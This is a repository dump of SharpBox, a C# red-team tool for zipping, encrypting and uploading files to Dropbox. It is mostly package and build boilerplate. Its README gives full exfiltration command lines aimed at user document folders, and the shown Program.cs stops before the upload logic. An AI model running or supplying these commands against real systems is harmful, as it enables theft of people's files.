├── packages ├── Fody.2.1.2 │ ├── Fody.dll │ ├── Fody.pdb │ ├── Content │ │ └── FodyWeavers.xml │ ├── FodyCommon.dll │ ├── FodyCommon.pdb │ ├── Mono.Cecil.dll │ ├── Fody.2.1.2.nupkg │ ├── FodyIsolated.dll │ ├── FodyIsolated.pdb │ ├── Mono.Cecil.Mdb.dll │ ├── Mono.Cecil.Pdb.dll │ ├── Mono.Cecil.Rocks.dll │ ├── Tools │ │ └── install.ps1 │ └── build │ │ ├── netstandard1.0 │ │ └── Fody.targets │ │ └── portable-net+sl+win+wpa+wp │ │ └── Fody.targets ├── Costura.Fody.1.6.2 │ ├── Costura.Fody.dll │ ├── Costura.Fody.pdb │ ├── Costura.Tasks.dll │ ├── Costura.Tasks.pdb │ ├── lib │ │ ├── dotnet │ │ │ ├── Costura.dll │ │ │ └── Costura.pdb │ │ └── portable-net+sl+win+wpa+wp │ │ │ ├── Costura.dll │ │ │ └── Costura.pdb │ ├── Costura.Fody.1.6.2.nupkg │ ├── build │ │ ├── dotnet │ │ │ └── Costura.Fody.targets │ │ └── portable-net+sl+win+wpa+wp │ │ │ └── Costura.Fody.targets │ └── tools │ │ ├── uninstall.ps1 │ │ └── install.ps1 ├── DotNetZip.1.11.0 │ ├── DotNetZip.1.11.0.nupkg │ └── lib │ │ └── net20 │ │ └── DotNetZip.dll └── CommandLineParser.1.9.71 │ ├── lib │ ├── net35 │ │ ├── CommandLine.dll │ │ └── CommandLine.xml │ ├── net40 │ │ ├── CommandLine.dll │ │ └── CommandLine.xml │ └── net45 │ │ └── CommandLine.dll │ ├── CommandLineParser.1.9.71.nupkg │ └── readme.txt ├── SharpBox ├── FodyWeavers.xml ├── Properties │ ├── Settings.settings │ ├── Settings.Designer.cs │ └── AssemblyInfo.cs ├── packages.config ├── SharpBox.csproj.user ├── SharpBox.csproj └── Program.cs ├── SharpBox.sln ├── LICENSE └── README.md /packages/Fody.2.1.2/Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Fody.dll -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Fody.pdb -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Content/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /packages/Fody.2.1.2/FodyCommon.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyCommon.dll -------------------------------------------------------------------------------- /packages/Fody.2.1.2/FodyCommon.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyCommon.pdb -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Mono.Cecil.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.dll -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Fody.2.1.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Fody.2.1.2.nupkg -------------------------------------------------------------------------------- /packages/Fody.2.1.2/FodyIsolated.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyIsolated.dll -------------------------------------------------------------------------------- /packages/Fody.2.1.2/FodyIsolated.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/FodyIsolated.pdb -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Mono.Cecil.Mdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.Mdb.dll -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Mono.Cecil.Pdb.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.Pdb.dll -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Mono.Cecil.Rocks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Fody.2.1.2/Mono.Cecil.Rocks.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/Costura.Fody.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Fody.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/Costura.Fody.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Fody.pdb -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/Costura.Tasks.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Tasks.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/Costura.Tasks.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Tasks.pdb -------------------------------------------------------------------------------- /packages/DotNetZip.1.11.0/DotNetZip.1.11.0.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/DotNetZip.1.11.0/DotNetZip.1.11.0.nupkg -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/dotnet/Costura.pdb -------------------------------------------------------------------------------- /packages/DotNetZip.1.11.0/lib/net20/DotNetZip.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/DotNetZip.1.11.0/lib/net20/DotNetZip.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/Costura.Fody.1.6.2.nupkg -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/lib/net35/CommandLine.dll -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/lib/net40/CommandLine.dll -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/CommandLineParser.1.9.71/CommandLineParser.1.9.71.nupkg -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.dll -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/P1CKLES/SharpBox/HEAD/packages/Costura.Fody.1.6.2/lib/portable-net+sl+win+wpa+wp/Costura.pdb -------------------------------------------------------------------------------- /SharpBox/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | CommandLine 6 | DotNetZip 7 | 8 | 9 | -------------------------------------------------------------------------------- /packages/Fody.2.1.2/Tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | $item = $project.ProjectItems | where-object {$_.Name -eq "FodyWeavers.xml"} 3 | $item.Properties.Item("BuildAction").Value = [int]0 -------------------------------------------------------------------------------- /SharpBox/Properties/Settings.settings: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpBox/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /SharpBox/SharpBox.csproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | publish\ 5 | 6 | 7 | 8 | 9 | 10 | en-US 11 | false 12 | ShowAllFiles 13 | 14 | -------------------------------------------------------------------------------- /SharpBox.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27703.2035 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SharpBox", "SharpBox\SharpBox.csproj", "{616C1AFB-2944-42ED-9951-BF435CADB600}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {616C1AFB-2944-42ED-9951-BF435CADB600}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {09CC2207-EAE6-4282-80D1-5F19BA361819} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /SharpBox/Properties/Settings.Designer.cs: -------------------------------------------------------------------------------- 1 | //------------------------------------------------------------------------------ 2 | // 3 | // This code was generated by a tool. 4 | // Runtime Version:4.0.30319.42000 5 | // 6 | // Changes to this file may cause incorrect behavior and will be lost if 7 | // the code is regenerated. 8 | // 9 | //------------------------------------------------------------------------------ 10 | 11 | namespace SharpBox.Properties { 12 | 13 | 14 | [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] 15 | [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "15.7.0.0")] 16 | internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { 17 | 18 | private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); 19 | 20 | public static Settings Default { 21 | get { 22 | return defaultInstance; 23 | } 24 | } 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/build/dotnet/Costura.Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\..\ 6 | 7 | 8 | 11 | 12 | 13 | 14 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/build/portable-net+sl+win+wpa+wp/Costura.Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | $(MSBuildThisFileDirectory)..\..\ 6 | 7 | 8 | 11 | 12 | 13 | 14 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/tools/uninstall.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | 4 | function Update-FodyConfig($addinName, $project) 5 | { 6 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml") 7 | 8 | if (!(Test-Path ($fodyWeaversPath))) 9 | { 10 | return 11 | } 12 | 13 | Write-Host "Caching variables for possible update" 14 | $env:FodyLastProjectPath = $project.FullName 15 | $env:FodyLastWeaverName = $addinName 16 | $env:FodyLastXmlContents = [IO.File]::ReadAllText($fodyWeaversPath) 17 | 18 | 19 | $xml = [xml](get-content $fodyWeaversPath) 20 | 21 | $weavers = $xml["Weavers"] 22 | $node = $weavers.SelectSingleNode($addinName) 23 | 24 | if ($node) 25 | { 26 | Write-Host "Removing node from FodyWeavers.xml" 27 | $weavers.RemoveChild($node) 28 | } 29 | 30 | $xml.Save($fodyWeaversPath) 31 | } 32 | 33 | 34 | function UnlockWeaversXml($project) 35 | { 36 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml"); 37 | if ($fodyWeaversProjectItem) 38 | { 39 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}") 40 | $fodyWeaversProjectItem.Save() 41 | $fodyWeaversProjectItem.Document.Close() 42 | } 43 | } 44 | 45 | UnlockWeaversXml($project) 46 | 47 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project -------------------------------------------------------------------------------- /SharpBox/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("SharpBox")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("SharpBox")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("616c1afb-2944-42ed-9951-bf435cadb600")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2018, Shannon Lucas 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SharpBox 2 | SharpBox is a C# tool for compressing, encrypting, and exfiltrating data to Dropbox using the Dropbox API. 3 | 4 | ## Compiling 5 | Target Framework: NET3.5 6 | 7 | The libraries added via NuGet for this project were: 8 | 9 | - CommandLineParser.1.9.71 10 | 11 | - Costura.Fody.1.6.2 12 | 13 | - DotNetZip.1.11.0 14 | 15 | - Fody.2.1.2 16 | 17 | 18 | ## Usage 19 | Log into your Dropbox account and head over to the [Dropbox developer API explorer](https://dropbox.github.io/dropbox-api-v2-explorer/#auth_token/from_oauth1) page and get an oauth access token by clicking "Get Token". 20 | These access tokens do not expire, but you can revoke them. So I would recommend revoking tokens after being used on engagments. 21 | 22 | Example: 23 | 24 | ``` 25 | SharpBox.exe -f "C:\Users\LegendaryJasonJF\Documents\management-docs" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:\Users\Public\Archive.zip" 26 | 27 | SharpBox.exe -f "C:\Users\Meatball\Documents\rip-doc.txt" -t "DROPBOX-OATH-ACCESS-TOKEN-HERE" -o "C:Users\Meatball\Desktop\rip.zip" 28 | ``` 29 | 30 | SharpBox can Zip a single file or folder of items. The compressed file is then encrypted with a randomly generated password and uploaded to Dropbox. The password is output to the console. Copy the password and use with the "password" argument when decrypting. 31 | 32 | ``` 33 | SharpBox 1.1.0 34 | Copyright c 2021 Pickles 35 | Usage: SharpBox 36 | 37 | -f, --path Required. path to the file or folder you wish to 38 | compress the contents of 39 | 40 | -o, --OutFile Name of the compressed file 41 | 42 | -t, --dbxToken Dropbox Access Token 43 | 44 | -h, --dbxPath (Default: /test/data) path to dbx folder 45 | 46 | -d, --decrypt (Default: False) Choose this to decrypt a zip or 47 | cabbed file previously encrypted by this tool. 48 | Requires original password argument. 49 | 50 | -p, --decryption-password Password to decrypt a zipped or cabbed file. 51 | 52 | --help Display this help screen. 53 | ``` 54 | 55 | 56 | Once the compressed/encrypted file is downloaded from Dropbox, you can use this tool to decrypt it as well. 57 | 58 | Example: 59 | 60 | ``` 61 | SharpBox.exe -f "C:\Users\evilDude\Desktop\data" -o "C:\Users\evilDude\Desktop\decrypted-data.zip" -p "RandomlyGeneratedPassword" -d 62 | ``` 63 | 64 | ## Acknowledgements 65 | 66 | - [@CptJesus](https://twitter.com/CptJesus) for letting me borrow the password gen snippet from [SharpHound](https://github.com/BloodHoundAD/SharpHound). 67 | -------------------------------------------------------------------------------- /packages/Costura.Fody.1.6.2/tools/install.ps1: -------------------------------------------------------------------------------- 1 | param($installPath, $toolsPath, $package, $project) 2 | 3 | 4 | function RemoveForceProjectLevelHack($project) 5 | { 6 | Write-Host "RemoveForceProjectLevelHack" 7 | Foreach ($item in $project.ProjectItems) 8 | { 9 | if ($item.Name -eq "Fody_ToBeDeleted.txt") 10 | { 11 | $item.Delete() 12 | } 13 | } 14 | } 15 | 16 | function FlushVariables() 17 | { 18 | Write-Host "Flushing environment variables" 19 | $env:FodyLastProjectPath = "" 20 | $env:FodyLastWeaverName = "" 21 | $env:FodyLastXmlContents = "" 22 | } 23 | 24 | function Update-FodyConfig($addinName, $project) 25 | { 26 | Write-Host "Update-FodyConfig" 27 | $fodyWeaversPath = [System.IO.Path]::Combine([System.IO.Path]::GetDirectoryName($project.FullName), "FodyWeavers.xml") 28 | 29 | $FodyLastProjectPath = $env:FodyLastProjectPath 30 | $FodyLastWeaverName = $env:FodyLastWeaverName 31 | $FodyLastXmlContents = $env:FodyLastXmlContents 32 | 33 | if ( 34 | ($FodyLastProjectPath -eq $project.FullName) -and 35 | ($FodyLastWeaverName -eq $addinName)) 36 | { 37 | Write-Host "Upgrade detected. Restoring content for $addinName" 38 | [System.IO.File]::WriteAllText($fodyWeaversPath, $FodyLastXmlContents) 39 | FlushVariables 40 | return 41 | } 42 | 43 | FlushVariables 44 | 45 | $xml = [xml](get-content $fodyWeaversPath) 46 | 47 | $weavers = $xml["Weavers"] 48 | $node = $weavers.SelectSingleNode($addinName) 49 | 50 | if (-not $node) 51 | { 52 | Write-Host "Appending node" 53 | $newNode = $xml.CreateElement($addinName) 54 | $weavers.AppendChild($newNode) 55 | } 56 | 57 | $xml.Save($fodyWeaversPath) 58 | } 59 | 60 | function Fix-ReferencesCopyLocal($package, $project) 61 | { 62 | Write-Host "Fix-ReferencesCopyLocal $($package.Id)" 63 | $asms = $package.AssemblyReferences | %{$_.Name} 64 | 65 | foreach ($reference in $project.Object.References) 66 | { 67 | if ($asms -contains $reference.Name + ".dll") 68 | { 69 | if($reference.CopyLocal -eq $true) 70 | { 71 | $reference.CopyLocal = $false; 72 | } 73 | } 74 | } 75 | } 76 | 77 | function UnlockWeaversXml($project) 78 | { 79 | $fodyWeaversProjectItem = $project.ProjectItems.Item("FodyWeavers.xml"); 80 | if ($fodyWeaversProjectItem) 81 | { 82 | $fodyWeaversProjectItem.Open("{7651A701-06E5-11D1-8EBD-00A0C90F26EA}") 83 | $fodyWeaversProjectItem.Save() 84 | $fodyWeaversProjectItem.Document.Close() 85 | } 86 | } 87 | 88 | UnlockWeaversXml($project) 89 | 90 | RemoveForceProjectLevelHack $project 91 | 92 | Update-FodyConfig $package.Id.Replace(".Fody", "") $project 93 | 94 | Fix-ReferencesCopyLocal $package $project -------------------------------------------------------------------------------- /packages/CommandLineParser.1.9.71/readme.txt: -------------------------------------------------------------------------------- 1 | Command Line Parser Library 1.9.71.2 stable 2 | ------------------------------------------ 3 | Giacomo Stelluti Scala 4 | (gsscoder@gmail.com) 5 | 6 | GitHub (Latest Sources, Updated Docs): https://github.com/gsscoder/commandline 7 | Codeplex (Binary Downloads): http://commandline.codeplex.com/ 8 | 9 | Remarks: 10 | - IParser and IParserSettings interface were removed. 11 | 12 | Upgrading from < 1.9.6.1 rc1: 13 | ----------------------------- 14 | Now CommandLine.Parser is defiend as: 15 | interface CommandLine.Parser { 16 | bool ParseArguments(string[] args, object options); 17 | bool ParseArguments(string[] args, object options, Action onVerbCommand); 18 | bool ParseArgumentsStrict(string[] args, object options, Action onFail = null); 19 | bool ParseArgumentsStrict(string[] args, object options, Action onVerbCommand, Action onFail = null); 20 | } 21 | Please refer to wiki (https://github.com/gsscoder/commandline/wiki). 22 | For help screen in verb command scenario use new HelpText::AutoBuild(object,string). 23 | 24 | Upgrading from < 1.9.4.91 versions: 25 | ----------------------------------- 26 | - Use System.Char for short name: 27 | [Option('o', "my-option", DefaultValue=10, HelpText="This is an option!")] 28 | public int MyOption { get; set; } 29 | - Receive parsing errors without CommandLineOptionsBase (removed): 30 | public class Options { 31 | [ParserState] 32 | public IParserState LastParserState { get; set; } 33 | } 34 | - Types rename: 35 | MultiLineTextAttribute -> MultilineTextAttribute (first 'L' -> lowercase) 36 | CommandLineParser -> Parser (suggestion: qualify with namespace -> CommandLine.Parser). 37 | ICommandLineParser -> IParser 38 | CommandLineParserSettings -> ParserSettings 39 | CommandLineParserException -> ParserException 40 | 41 | Upgrading from 1.8.* versions: 42 | ------------------------------ 43 | The major API change is that all attributes that inherits from BaseOptionAttribute now 44 | apply only to properties. Fields are no longer supported. 45 | 46 | Old Code: 47 | --------- 48 | class Options { 49 | [Option("o", "my-option", HelpText="This is an option!")] 50 | public int MyOption = 10; 51 | } 52 | 53 | New Code: 54 | --------- 55 | class Options { 56 | [Option("o", "my-option", DefaultValue=10, HelpText="This is an option!")] 57 | public int MyOption { get; set; } 58 | } 59 | 60 | As you can see I've added the new DefaultValue property to help you initialize properties. 61 | 62 | Shortcut for Help Screen 63 | ------------------------ 64 | [HelpOption] 65 | public string GetUsage() 66 | { 67 | return HelpText.AutoBuild(this, 68 | (HelpText current) => HelpText.DefaultParsingErrorsHandler(this, current)); 69 | } 70 | 71 | Note: 72 | ----- 73 | If you don't use mutually exclusive options, now there's a singleton built for common uses: 74 | 75 | if (CommandLineParser.Default.ParseArguments(args, options)) { 76 | // consume values here 77 | } 78 | 79 | Have fun! 80 | -------------------------------------------------------------------------------- /packages/Fody.2.1.2/build/netstandard1.0/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 68 | 69 | 72 | 73 | 74 | 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 84 | 88 | 89 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /packages/Fody.2.1.2/build/portable-net+sl+win+wpa+wp/Fody.targets: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | $(NCrunchOriginalSolutionDir) 7 | 8 | 9 | 10 | 11 | $(SolutionDir) 12 | 13 | 14 | 15 | 16 | $(MSBuildProjectDirectory)..\..\..\ 17 | 18 | 19 | 20 | 21 | 22 | 23 | $(KeyOriginatorFile) 24 | 25 | 26 | 27 | 28 | $(AssemblyOriginatorKeyFile) 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | $(ProjectDir)FodyWeavers.xml 39 | $(SignAssembly) 40 | $(MSBuildThisFileDirectory)..\..\ 41 | 42 | 45 | 52 | 53 | 68 | 69 | 72 | 73 | 74 | 75 | True 76 | 77 | 78 | 79 | 80 | 81 | 84 | 88 | 89 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | -------------------------------------------------------------------------------- /SharpBox/SharpBox.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {616C1AFB-2944-42ED-9951-BF435CADB600} 8 | Exe 9 | SharpBox 10 | SharpBox 11 | v3.5 12 | 512 13 | 14 | 15 | publish\ 16 | true 17 | Disk 18 | false 19 | Foreground 20 | 7 21 | Days 22 | false 23 | false 24 | true 25 | 0 26 | 1.0.0.%2a 27 | false 28 | false 29 | true 30 | 31 | 32 | AnyCPU 33 | true 34 | full 35 | false 36 | bin\Debug\ 37 | DEBUG;TRACE 38 | prompt 39 | 4 40 | 41 | 42 | AnyCPU 43 | pdbonly 44 | true 45 | bin\Release\ 46 | TRACE 47 | prompt 48 | 4 49 | 50 | 51 | SharpBox.Program 52 | 53 | 54 | 55 | ..\packages\CommandLineParser.1.9.71\lib\net35\CommandLine.dll 56 | 57 | 58 | ..\packages\Costura.Fody.1.6.2\lib\portable-net+sl+win+wpa+wp\Costura.dll 59 | False 60 | 61 | 62 | ..\packages\DotNetZip.1.11.0\lib\net20\DotNetZip.dll 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | True 76 | True 77 | Settings.settings 78 | 79 | 80 | 81 | 82 | 83 | SettingsSingleFileGenerator 84 | Settings.Designer.cs 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | False 93 | .NET Framework 3.5 SP1 94 | true 95 | 96 | 97 | 98 | 99 | 100 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /SharpBox/Program.cs: -------------------------------------------------------------------------------- 1 | 2 | using Ionic.Zip; 3 | using System; 4 | using System.IO; 5 | using System.Text; 6 | using System.Security.Cryptography; 7 | using System.Net; 8 | using System.Threading; 9 | using System.Security.Cryptography.X509Certificates; 10 | using System.Net.Security; 11 | using CommandLine; 12 | using CommandLine.Text; 13 | 14 | namespace SharpBox 15 | { 16 | public class Program 17 | { 18 | public static void Main(string[] args) 19 | { 20 | Options ops = new Options(); 21 | CommandLine.Parser.Default.ParseArguments(args, ops); 22 | ServicePointManager.ServerCertificateValidationCallback += ValidateRemoteCertificate; 23 | ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls; 24 | //ops.dbxToken = ""; //Hardcode your dropbox token here if you do not wish to pass as an argument 25 | 26 | 27 | if (ops.path == null) 28 | { 29 | return; 30 | } 31 | 32 | if (ops.decrypt == true) 33 | { 34 | DecryptFile(ops); 35 | return; 36 | } 